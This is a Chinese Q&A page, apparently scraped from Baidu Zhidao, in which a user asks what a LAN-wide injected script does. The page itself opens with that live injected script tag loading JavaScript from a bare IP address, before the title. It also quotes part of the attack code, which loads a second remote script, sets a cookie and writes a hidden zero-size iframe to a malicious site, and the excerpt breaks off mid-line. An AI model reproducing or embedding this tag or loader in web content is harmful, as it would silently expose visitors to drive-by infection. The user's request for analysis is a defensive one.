<script src=http://66.186.33.44/n.js></script>局域网病毒

来源：百度知道 编辑：UC知道 时间：2024/05/29 08:24:10
所有局域网内机子打开网页，查看源码，第一行即是<script src=http://66.186.33.44/n.js></script>这串代码。分析该JS文件，实际内容转到：http://ora.3168a.com/s368/t368.htm
过程中同时加载http://ora.3168a.com/s368/NEwJs2.js。
请行内人士帮助分析t368.htm源码并告诉我，它最终对电脑做了什么？
页面代码我已经拿到了，只是我要的是这段代码的意思及目的，代码太长，贴不下，我贴我论坛上了：http://bbs.ynqb.cn/ShowPost.asp?ThreadID=2957

谁敢打开啊

document.writeln("<script src=\"http:\/\/ora.3168a.com\/s368\/NEwJs2.js\"><\/script>");document.writeln("<script>");document.writeln("function oK_KaiShi(){");document.writeln("var Then = new Date() ");document.writeln("Then.setTime(Then.getTime() 24*60*60*1000)");document.writeln("var cookieString = new String(document.cookie)");document.writeln("var cookieHeader = \"Cookie1=\" ");document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");document.writeln("if (beginPosition != -1){ ");document.writeln("} else ");document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;expires=\" Then.toGMTString() ");document.writeln("document.write(\'<iframe width=0 height=0 src=\"http:\/\/ora.3168a.com\/s368\/t368.htm\"